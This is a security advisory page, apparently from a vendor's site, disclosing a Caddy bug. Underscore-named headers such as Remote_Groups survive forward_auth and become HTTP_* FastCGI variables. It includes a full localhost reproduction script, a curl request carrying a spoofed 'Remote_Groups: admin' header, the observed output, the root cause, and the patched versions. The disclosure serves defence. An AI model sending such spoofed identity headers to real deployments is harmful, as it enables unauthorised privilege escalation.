Miggo at BlackHat 2026!
Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.
Run from the Caddy repository root with bash:
set -euo pipefail
tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"
cat > "$tmpdir/servers.go" <<'GO'
package main
import (
"fmt"
"log"
"net"
"net/http"
"net/http/fcgi"
)
func main() {
go func() {
mux := http.NewServeMux()
mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Remote-User", "alice")
w.WriteHeader(http.StatusNoContent)
})
log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
}()
ln, err := net.Listen("tcp", "127.0.0.1:19010")
if err != nil {
log.Fatal(err)
}
log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
r.Header.Get("Remote-User"),
r.Header.Get("Remote-Groups"))
})))
}
GO
cat > "$tmpdir/Caddyfile" <<EOF
{
admin off
auto_https off
debug
}
:9082 {
log
root * $tmpdir/www
forward_auth 127.0.0.1:19011 {
uri /auth
copy_headers Remote-User Remote-Groups
}
php_fastcgi 127.0.0.1:19010
}
EOF
cleanup() {
kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT
go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
(echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"
Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:
Baseline:
> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK
HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=
With attacker header:
> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK
HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin
Caddy debug log confirms the FastCGI environment contained:
"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"
The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.
This affects Caddy deployments that use:
forward_auth with copy_headers for identity or authorization headers;php_fastcgi / FastCGI after the auth check;HTTP_* variables.Impact examples:
Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;Remote-User and Remote_User both map to HTTP_REMOTE_USER.Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.
The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| github.com/caddyserver/caddy/v2 | go | < 2.11.4 | 2.11.4 |
| github.com/caddyserver/caddy | go | <= 1.0.5 |
Miggo AIRoot Cause AnalysisThe vulnerability is a header normalization bypass in Caddy's forward_auth and php_fastcgi handlers. An attacker can send a specially crafted HTTP request with a header containing an underscore (e.g., Remote_User). The serveHTTP function in modules/caddyhttp/server.go would incorrectly allow this header to pass through. The forward_auth handler, configured to copy a legitimate header like Remote-User, would delete the legitimate header but not the attacker's underscore-aliased version. When the request is later processed by php_fastcgi, the buildEnv function in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go normalizes all header names by replacing hyphens with underscores. This causes the attacker's header (Remote_User) and the legitimate header (Remote-User) to be mapped to the same environment variable (e.g., HTTP_REMOTE_USER), allowing the attacker to inject or override identity information in the backend PHP application. The patch addresses this by stripping any headers containing underscores at the beginning of the request processing in the serveHTTP function.
Server.serveHTTPmodules/caddyhttp/server.go
Transport.buildEnvmodules/caddyhttp/reverseproxy/fastcgi/fastcgi.go